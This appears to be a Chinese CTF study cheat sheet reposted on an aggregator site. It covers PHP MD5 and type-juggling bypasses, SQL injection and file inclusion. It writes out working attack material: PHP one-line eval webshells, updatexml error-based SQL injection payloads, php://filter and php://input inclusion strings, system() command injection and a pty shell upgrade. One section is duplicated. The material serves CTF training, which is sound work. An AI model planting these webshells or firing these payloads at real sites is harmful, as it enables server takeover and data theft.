CTF入门知识点

CTF知识点

请添加图片描述

md5函数

<?php$a = '123';echo md5($a,true);
?>
括号中true显示输出二进制
替换成false显示输出十六进制

绕过

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

弱类型比较

两个数的md5加密后值0e开头就可以绕过,因为php在进行弱类型比较时,会转换字符串类型,再进行比较
两个数都以0e开头会被认为科学计数法,0e后面加任何数再科学计数法中都是0,所以两数相等
var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZO'));//true

强类型比较

if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->var_dump($flag);
}
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
var_dump(md5([1,2,3])==md5([4,5,6]));//truevar_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true
数值类型加密位null

进制

DEC 十进制HEX 十六进制BIN 二进制OCT 八进制

木马

常用一句话

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
<script language="php">eval($_POST['cmd']);</script>

GIF89a(GIF16进制的ASCII值)

文件头

FF D8 FF E1                   GPEG(jpg)
89 50 4E 47                   PNG(png)
47 49 46 38                   GIF(gif)
49 49 2A 00                   TIFF(tif)
42 4D C0 01                   Windows  Bitmap(bmp)
50 4B 03 04                   ZIP Archive (zip)
52 61 72 21                   RAR Archive (rar)
38 42 50 53                   Adobe Photoshop (psd)
7B 5C 72 74 66                Rich Text Format (rtf)
3C 3F 78 6D 6C                XML(xml)
68 74 6D 6C 3E                HTML (html)
25 50 44 46 2D 31 2E          Adobe Acrobat (pdf)
57 41 56 45                   Wave (wav)
4D 3C 2B 1A                   pcap (pcap)
52 49 46 46                   WEBP(webp)

MIME语法

通用结构:type/subtype

type:表示多个子类的独立类别

subtype:表示细分后的类型

对大小写不敏感,传统都是小写

常用MIME类型

文件类型MIME类型描述
.jpg | .jpegimage/jpeg使用图像公共图像格式
.pngimage/png
.binapplication/octet-stream当消息是未知类型和包含任何字节数据时使用

SQL注入

堆叠注入中后端代码猜测

*,1

报错注入:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

PHP

error_reporting(0):错误报告等级,参数为0表示关闭所有错误报告
class 定义类 public 定义公共属性 
preg_match 正则表达php短标签
<?= ?>相当于<?php echo ...?> 例:<?='hello'?> //输出'hello'
php反引号 
可以直接执行系统命令,想输出执行结果还需要echo等函数
<?php echo `ls /`;?>  		 				还可以使用短标签<?='ls /'?>

php5和php7的区别

在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();

通配符在RCE中的利用

原理

在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
在 Shell 命令行中,?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道*通配符:
在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
在shell命令行中,*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。

利用?*在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤

假设flag在/flag中:
cat /fla?
cat /fla*假设flag在/flag.txt中:
cat /fla????
cat /fla*假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*

Python转换交互式

python -c 'import pty;pty.spawn("/bin/bash")'

ssh登录

ssh -p xx [user@ip](mailto:user@ip)xx 为 端口号   user为用户名  ip为要登陆的ip

状态码

200  OK表示请求被服务器正常处理 302  Found 临时重定向,表示请求的资源临时搬到了其他位置 304  Not Modified 表示客户端发送附带条件的请求时,条件不满足 400  Bad Request 表示请求报文存在语法错误或参数错误,服务器不理解 403  Forbidden 表示对请求资源的访问被服务器拒绝了 404  Not Found  表示服务器找不到你请求的资源500 Internal Server Error  表示服务器执行请求的时候出错了

反序列化

常见的几个魔法函数:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值__destruct: 和构造函数相反,当对象所在函数调用完毕后执行__toString:当对象被当做一个字符串使用时调用__sleep:序列化对象之前就调用此方法(其返回需要一个数组)__wakeup:反序列化恢复对象之前调用该方法 优先调用,而不会调用_construct
绕过:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过_wakeup执行__call:当调用对象中不存在的方法会自动调用该方法__get:在调用私有属性的时候会自动执行__isset():在不可访问的属性上调用isset()或empty()触发__unset():在不可访问的属性上使用unset()时触发

文件包含漏洞

include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
include_once: 这个函数跟和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含require: 跟include唯一不同的是,当产生错误时候,整个php文件停止运行
require_once: require_once语句和require 语句完全相同,唯一区别是PHP会检查该文件是否已经被包含过,如果是则不会再次包含注:这四个函数不管执行哪个后缀的文件,都将他当作php文件执行

远程文件包含

allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)
分为 无绕过 ?绕过 #绕过  空格绕过data:// 本身是数据流封装器,原理用法和php://input类似,但是是发送get请求参数
例http://ip/test.php?a=data://text/plain,条件

php伪协议

php://filter
?file=php://filter/convert.base64-encode/resource=xx.php
?file=php://filter/read=convert.base64-encode/resource=xx.php若base被过滤,utf编码:
?file=php://filter/convert.iconv.utf8.utf16/resource=xx.php php://input 条件:allow_url_include=On 实际相当于远程包含利用
php://打开交流文件后,我们直接在流里面写入我们的恶意代码,此时包含可执行文件
例:http://ip/test.php?a=php://input //然后在post里传入所需条件

windows常用命令

netstat -ano  查看系统进程tasklist 列出任务及进程号taskkill 杀进程type 查看文件 类似于linux中catmd 创建文件夹 类似于linux中mkdirtree 查看目录结构tracert 路由跟踪cls 清空命令行 类似于linux中clear

linux常用命令

ls -a 查看所有文件,包括隐藏文件echo 输入什么就打印什么> 覆盖 常见用法 echo word > test.txt >> 追加 常见用法 echo word >> test.txt find 目录 -name 文件 查找指定文件grep 参数 目标 id 显示用户id 所属群idnetstat 网络状态 
-anplt 查看所有tcp端口
-anplu 查看所有udp端口uname 显示系统信息
-a 显示系统详细信息--help 命令使用详情clear 清空命令行touch 创建文件mkdir 创建目录chmod 权限 文件所有者 文件所属组 其他用户 读4 写2 执行1scp 复制文件和目录

url使用linux命令

?url=system("ls /");注意:ls后面要有一个空格,然后一个分号结束,这不就出来了flag?url=system("cat /f*");?url=system("cat /flllllaaaaaaggggggg");

常见端口

数据库端口号
Oracle1521
Mysql3306
Sql server1433
Redis6379
PostgreSQL5432
MongoDB27017
DB250000
服务端口号
FTP 数据传输 控制链接20 21
ssh22
telnet23
SMTP 简单邮件传输25
DNS域名解析53
Http代理80

常见备份文件名

.git
.svn
.swp
.~
.bak
.bash_history

json对象

存储数据的方式,使用键值对的形式表示数据

JSON对象的语法规则如下:使用花括号 {} 表示一个JSON对象。
键和值之间使用冒号 : 分隔。
每个键值对之间使用逗号 , 分隔。
键必须是一个字符串,需要用双引号或单引号括起来。
值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

下面是json对象实例

{"name": "John","age": 30,"isStudent": false,"interests": ["reading", "traveling"],"address": {"city": "New York","country": "USA"},"phoneNumber": null

在上面的示例中,name、age、isStudent、address、phoneNumber都是键,对应的值分别是字符串、数字、布尔值、嵌套的JSON对象、null。

你可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象。

例:[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

get传入?json={“x”:“wllm”}

post传入id=wllmNB

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

word pdf 文档知识点

word中document.xml文件是所有文字存贮的地方 查找passPDF隐写 wbStego4openPPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割

问和操作JSON对象。

例:[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

get传入?json={“x”:“wllm”}

post传入id=wllmNB

[外链图片转存中…(img-pJOVzMpV-1720191316208)]

word pdf 文档知识点

word中document.xml文件是所有文字存贮的地方 查找passPDF隐写 wbStego4openPPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/370104.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分支与循环

目录 1. if语句 1&#xff09;if 2) else 3&#xff09;分支中包含多条语句 4&#xff09;if嵌套 2.关系操作符 3.条件操作符 4.逻辑操作符&#xff1a;&& || ! 1) 逻辑取反运算符 !​编辑 2 与运算符​编辑 3) 或运算符​编辑 4) 闰年的判断 5) 短路 …

一行代码用git新建分支

1.在本地创建分支 dev git branch dev2.切换分支 git checkout devwebstorm操作如下&#xff1a; 3.推送新分支到远程 git push --set-upstream origin 分支名webstorm操作如下&#xff1a;提交代码的时候会自动推送到远程 4.到git上面可以看看刚刚推送的内容 dev多推送…

MacOS miniconda安装方法

打开macos “终端” 应用 执行命令 mkdir -p ~/miniconda3curl https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/Miniconda3-latest-MacOSX-arm64.sh -o ~/miniconda3/miniconda.shbash ~/miniconda3/miniconda.sh -b -u -p ~/miniconda3rm -rf ~/miniconda3/mini…

Java项目:基于SSM框架实现的智慧城市实验室管理系统分前后台【ssm+B/S架构+源码+数据库+毕业论文】

一、项目简介 本项目是一套基于SSM框架实现的智慧城市实验室管理系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单…

golang与以太坊交互

文章目录 golang与以太坊交互什么是go-ethereum与节点交互前的准备使用golang与以太坊区块链交互查询账户的余额使用golang生成以太坊账户使用golang生成以太坊钱包使用golang在账户之间转移eth安装使用solc和abigen生成bin和abi文件生成go文件使用golang在测试网上部署智能合约…

RK3588 Android12实现UVC输出功能详解

首先需要在相关部分添加uvc的功能&#xff0c;这里参考一下&#xff1a;rockchip rk3588添加uvc及uvc,adb的复合设备_uvc.gs6-CSDN博客 setprop sys.usb.config none;setprop sys.usb.config uvc 或者setprop sys.usb.config none;setprop sys.usb.config uvc,adb 使rk3588 进…

一款强大且免费开源的多连接数据库管理工具

大家好&#xff0c;今天给大家分享一款免费开源的跨平台数据库管理工具DbGate。 DbGate是一款免费开源的跨平台数据库管理工具&#xff0c;支持多种数据库&#xff0c;包括MySQL、PostgreSQL、SQL Server、MongoDB、SQLite等。它可以在Windows、Linux、Mac操作系统上运行&#…

【HTML入门】第二课 - head标签下的常见表情们

目录 1 本节概要 2 head下的常见标签 2.1 网页编码设置 2.2 网页的标题 2.3 样式标签 3 head标签的内容不会显示到网页上 4 查看网页源代码 1 本节概要 上一节&#xff0c;我们说了HTML网页最基本的框架标签&#xff0c;说到标签分为head头部和body身体部分。这一小节呢…

架构师学习理解和总结

1.架构设计理念 2.架构方法论 2.1需求分析 2.1.1常见需求层次 2.1.2 常见需求结果 2.1.3 需求与架构关系 2.2 领域分析 2.3 关键需求 2.4 概念架构设计 2.5 细化架构设计 2.6 架构设计验证 3.架构设计工具 3.1 DDD领域建模 3.2 41视图分析法 3.3 UML设计工具 4.架构师知…

全能PDF工具集 -- PDF Shaper Professional v14.3 特别版

软件简介 PDF Shaper是一款功能强大的PDF工具集&#xff0c;它提供了一系列用于处理PDF文档的工具。这款软件使用户能够轻松地转换、分割、合并、提取页面以及旋转和加密PDF文件。PDF Shaper的界面简洁直观&#xff0c;使得即使是新手用户也能快速上手。它支持广泛的功能&…

Linux系统(CentOS)安装Mysql5.7.x

安装准备&#xff1a; Linux系统(CentOS)添加防火墙、iptables的安装和配置 请访问地址&#xff1a;https://blog.csdn.net/esqabc/article/details/140209894 1&#xff0c;下载mysql安装文件&#xff08;mysql-5.7.44为例&#xff09; 选择Linux通用版本64位&#xff08;L…

hdu物联网硬件实验1 小灯闪烁

物联网硬件基础实验报告 学院 班级 学号 姓名 日期 成绩 实验题目 配置环境小灯 实验目的 配置环境以及小灯闪烁 硬件原理 无 关键代码及注释 /* Blink The basic Energia example. Turns on an LED on for one second, then off for one sec…

网络安全领域国标分类汇总大全V1.0版:共计425份标准文档,全部可免费下载

《网络安全法》、《数据安全法》、《个人信息保护法》落地实施需要大量国家标准的支撑&#xff0c;博主耗时三周时间&#xff0c;吐血整理了从1999年至今相关的所有涉及安全的国家标准&#xff0c;梳理出《网络安全领域国标分类汇总大全V1.0版》&#xff0c;共计 425 项现行标准…

Cartographer前后端梳理

0. 简介 最近在研究整个SLAM框架的改进处&#xff0c;想着能不能从Cartographer中找到一些亮点可以用于参考。所以这一篇博客希望能够梳理好Cartographer前后端优化&#xff0c;并从中得到一些启发。carto整体是graph-based框架&#xff0c;前端是scan-map匹配&#xff0c;后端…

【笔记】记一次在linux上通过在线安装mysql报错 CentOS 7 的官方镜像已经不再可用的解决方法+mysql配置

报错&#xff08;恨恨恨恨恨恨恨&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff09;&#xff1a; [rootlocalhost ~]# sudo yum install mysql-server 已加载插件&#xff1a;fastestmirror, langpacks Determining fastest mirrors Could not retrie…

JMeter--定时执行的方法

原文网址&#xff1a;JMeter--定时执行的方法_IT利刃出鞘的博客-CSDN博客 简介 本文介绍JMeter如何使用定时器定时执行测试任务。 Java技术星球&#xff1a;way2j.com 方法 第一步&#xff1a;新建定时器 右键测试任务> Add > Timer> Constant Timer 如下图所示…

NTP协议格式解析

1. NTP时间戳格式 SNTP使用在RFC 1305 及其以前的版本所描述标准NTP时间戳的格式。与因特网标准标准一致&#xff0c; NTP 数据被指定为整数或定点小数&#xff0c;位以big-endian风格从左边0位或者高位计数。除非不这样指定&#xff0c;全部数量都将设成unsigned的类型&#…

加盖骑缝章软件、可以给PDF软件加盖自己的骑缝章

加盖骑缝章的软件多种多样&#xff0c;尤其是针对PDF文件&#xff0c;有多种软件可以实现给PDF文件加盖自己的骑缝章。以下是一些常用的软件及其特点&#xff1a; 1. Adobe Acrobat Pro DC 特点&#xff1a; 多功能PDF编辑&#xff1a;Adobe Acrobat Pro DC是一款功能强大的…

【Kubernetes】Pod 资源调度之亲和性调度

Pod 资源调度之亲和性调度 1.Node 亲和性调度1.1 Node 硬亲和性1.2 Node 软亲和性 2.Pod 亲和性调度2.1 Pod 硬亲和2.2 Pod 软亲和2.3 Pod 反亲和 Kubernetes 的 默认调度器 以 预选、优选、选定机制 完成将每个新的 Pod 资源绑定至为其选出的目标节点上&#xff0c;不过&#…

记录第一次写脚本

使用csh语言&#xff0c;Linux系统操作的 写和执行csh&#xff08;C Shell&#xff09;脚本不需要额外的软件&#xff0c;只需要一个支持csh的终端环境。 1.检查是否安装了C Shell 在终端terminal运行以下命令 which csh 如果返回路径&#xff0c;比如/bin/csh&#xff0c…